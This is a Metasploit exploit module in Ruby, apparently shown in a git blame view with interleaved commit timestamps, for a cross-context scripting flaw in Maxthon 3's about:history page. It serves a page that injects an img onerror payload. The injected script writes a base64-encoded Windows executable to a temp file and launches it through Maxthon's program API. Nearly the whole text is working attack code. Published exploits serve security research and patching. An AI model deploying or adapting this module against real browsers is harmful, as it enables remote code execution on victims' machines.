2012-12-07 17:27:09 +00:00
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
2012-11-24 23:53:58 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2012-12-07 18:23:00 +00:00
|
|
|
include Msf::Exploit::EXE
|
2012-11-24 23:53:58 +00:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
2012-12-07 17:27:09 +00:00
|
|
|
'Name' => 'Maxthon3 about:history XCS',
|
2012-11-24 23:53:58 +00:00
|
|
|
'Description' => %q{
|
|
|
|
|
Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
|
2012-12-07 17:27:09 +00:00
|
|
|
Injection in such privileged/trusted browser zone can be used to modify
|
|
|
|
|
configuration settings and execute arbitrary commands.
|
2012-11-24 23:53:58 +00:00
|
|
|
},
|
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
|
'Author' =>
|
2012-12-07 17:27:09 +00:00
|
|
|
[
|
|
|
|
|
'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
|
|
|
|
|
],
|
2012-11-24 23:53:58 +00:00
|
|
|
'References' =>
|
|
|
|
|
[
|
2012-12-05 22:33:25 +00:00
|
|
|
['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html'],
|
2012-11-24 23:53:58 +00:00
|
|
|
],
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'DisableNops' => true,
|
|
|
|
|
},
|
2012-12-07 17:27:09 +00:00
|
|
|
'Platform' => 'win',
|
2012-11-24 23:53:58 +00:00
|
|
|
'Targets' =>
|
|
|
|
|
[
|
2012-12-07 17:27:09 +00:00
|
|
|
['Maxthon 3 on Windows', {} ]
|
2012-11-24 23:53:58 +00:00
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Nov 26 2012',
|
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
|
))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
|
|
html_hdr = %Q^
|
|
|
|
|
<html>
|
|
|
|
|
<head>
|
|
|
|
|
<title>Loading</title>
|
|
|
|
|
^
|
|
|
|
|
html_ftr = %Q^
|
|
|
|
|
</head>
|
|
|
|
|
<body >
|
|
|
|
|
<h1>Loading</h1>
|
|
|
|
|
</body></html>
|
|
|
|
|
^
|
|
|
|
|
|
|
|
|
|
case request.uri
|
2012-12-07 17:27:09 +00:00
|
|
|
when /\?jspayload/
|
2012-11-24 23:53:58 +00:00
|
|
|
p = regenerate_payload(cli)
|
|
|
|
|
if (p.nil?)
|
|
|
|
|
send_not_found(cli)
|
|
|
|
|
return
|
|
|
|
|
end
|
|
|
|
|
# We're going to run this through unescape(), so make sure
|
|
|
|
|
# everything is encoded
|
2012-12-07 18:23:00 +00:00
|
|
|
penc = generate_payload_exe
|
2012-11-24 23:53:58 +00:00
|
|
|
penc2 = Rex::Text.encode_base64(penc)
|
2012-12-07 17:27:09 +00:00
|
|
|
|
2012-12-07 18:23:00 +00:00
|
|
|
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
|
|
|
|
|
# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
|
|
|
|
|
# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
|
2012-11-24 23:53:58 +00:00
|
|
|
content =
|
|
|
|
|
%Q{
|
2012-12-07 18:23:00 +00:00
|
|
|
if(maxthon.program)
|
|
|
|
|
{
|
|
|
|
|
alert(1);
|
2012-11-24 23:53:58 +00:00
|
|
|
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
|
|
|
|
|
var fileObj = maxthon.io.File(fileTemp);
|
|
|
|
|
maxthon.io.FileWriter(fileTemp);
|
|
|
|
|
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
|
|
|
|
|
maxthon.program.Program.launch(fileTemp.name_,"C:");
|
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
2012-12-07 18:23:00 +00:00
|
|
|
alert(2);
|
2012-11-24 23:53:58 +00:00
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2012-12-07 17:27:09 +00:00
|
|
|
when /\?history/
|
|
|
|
|
js = %Q|
|
2012-11-24 23:53:58 +00:00
|
|
|
window.onload = function() {
|
|
|
|
|
location.href = "about:history";
|
|
|
|
|
}
|
2012-12-07 17:27:09 +00:00
|
|
|
|
|
|
|
|
|
content = %Q|
|
2012-11-24 23:53:58 +00:00
|
|
|
#{html_hdr}
|
|
|
|
|
<script>
|
|
|
|
|
#{js}
|
|
|
|
|
</script>
|
|
|
|
|
#{html_ftr}
|
2012-12-07 17:27:09 +00:00
|
|
|
|
|
2012-11-24 23:53:58 +00:00
|
|
|
when get_resource()
|
|
|
|
|
print_status("Sending #{self.name} payload for request #{request.uri}")
|
|
|
|
|
|
2012-12-07 17:27:09 +00:00
|
|
|
js = %Q|
|
2012-11-24 23:53:58 +00:00
|
|
|
|
|
|
|
|
url = location.href;
|
|
|
|
|
url2 = url + "?jspayload=1";
|
|
|
|
|
inj = "?history#%22/><img src=a onerror=%22"
|
|
|
|
|
inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
|
|
|
|
|
window.location = unescape(inj) + inj_1;
|
2012-12-07 17:27:09 +00:00
|
|
|
|
|
2012-11-24 23:53:58 +00:00
|
|
|
|
2012-12-07 17:27:09 +00:00
|
|
|
content = %Q|
|
2012-11-24 23:53:58 +00:00
|
|
|
#{html_hdr}
|
|
|
|
|
<script>
|
|
|
|
|
#{js}
|
|
|
|
|
</script>
|
|
|
|
|
#{html_ftr}
|
2012-12-07 17:27:09 +00:00
|
|
|
|
|
2012-11-24 23:53:58 +00:00
|
|
|
else
|
|
|
|
|
print_status("Sending 404 for request #{request.uri}")
|
|
|
|
|
send_not_found(cli)
|
|
|
|
|
return
|
|
|
|
|
end
|
|
|
|
|
|
2012-12-07 18:23:00 +00:00
|
|
|
send_response_html(cli, content)
|
2012-11-24 23:53:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
